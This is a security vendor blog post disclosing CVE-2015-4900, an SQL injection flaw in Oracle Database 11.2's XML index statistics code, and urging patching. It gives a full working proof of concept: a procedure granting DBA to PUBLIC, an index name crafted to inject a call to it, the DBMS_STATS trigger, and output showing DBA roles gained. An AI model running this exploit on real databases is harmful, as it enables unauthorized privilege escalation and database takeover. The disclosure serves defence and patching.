CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Oracle Database 11.2 SQLi in XML index statistics processing (CVE-2015-4900)

In the October 2015 'Critical Patch Update' Oracle fixed a flaw in XML index support code: namely SQL injection which allows privilege escalation to DBA by unprivileged users. I reported this issue to Oracle back in April 2015 and 6 month later the fix is here. What is so special about it? They have addressed very similar issues already reported by other security researchers but missed this specific vulnerability.

Here is how it works: a user needs to have certain privileges first. Namely CREATE SESSION, CREATE PROCEDURE, CREATE TABLE, and CREATE PUBLIC SYNONYM. From that it is easy to elevate privileges on an unpatched system via the following set of actions, assuming all commands are executed as mentioned user against Oracle Database 11.2.0.4 without CPU October 2015:

  1. Create a stored procedure that will essentially grant DBA to public.

    CREATE PROCEDURE F ( PARTNAME VARCHAR2, CASCADE_PARTS BOOLEAN ) AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC'); END; /
  2. Create a public synonym for the just created procedure, so the vulnerable system-provided code can see our procedure even when it is not in the system schema. Public synonym allows to make evil procedure visible to all:

    CREATE PUBLIC SYNONYM POC FOR F;
  3. Create a table with a column of XMLType type:

    CREATE TABLE T34(id int not null primary key, val XMLType);

    This is essential since the vulnerability lies in internal SQL executed by XMLType column statistics maintenance code.

  4. Create an index on the xml column having very special name – that name will be used later on for SQLi:

    CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex;
  5. Finally trigger SQLi by invoking DBMS_STATS.DELETE_TABLE_STATS:

    DECLARE TAB_NAME varchar2(100);
    STMT varchar2(100);
    BEGIN
    SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE';
    STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)';
    EXECUTE IMMEDIATE STMT;
    DBMS_STATS.DELETE_TABLE_STATS(USER, 'T34');
    END;
    /

    We do create another table (named like SYS87356_) to make sure vulnerable code is executed – it is an additional prerequisite for the exploit.

    At this point we should reconnect to the database and examine effective roles:

    SELECT * FROM SESSION_ROLES;
    ROLE ------------------------------
    DBA SELECT_CATALOG_ROLE
    HS_ADMIN_SELECT_ROLE
    EXECUTE_CATALOG_ROLE
    HS_ADMIN_EXECUTE_ROLE
    DELETE_CATALOG_ROLE
    EXP_FULL_DATABASE
    IMP_FULL_DATABASE
    DATAPUMP_EXP_FULL_DATABASE
    DATAPUMP_IMP_FULL_DATABASE
    GATHER_SYSTEM_STATISTICS
    SCHEDULER_ADMIN WM_ADMIN_ROLE
    JAVA_ADMIN JAVA_DEPLOY
    XDBADMIN
    XDB_SET_INVOKER
    OLAP_XS_ADMIN
    OLAP_DBA
    19 rows selected.

Oracle has released a fix for this high severity issue (CVSS 6.5) – make sure it is installed ASAP. Trustwave database security products have checks released that verify that fixes are deployed on customer databases for this and other vulnerabilities fixed in Oracle Critical Patch Update October 2015. 

For more information:

Oracle October 2015 Critical Patch Update: http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html

Trustwave SpiderLabs Advisory: TWSL2015-019

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More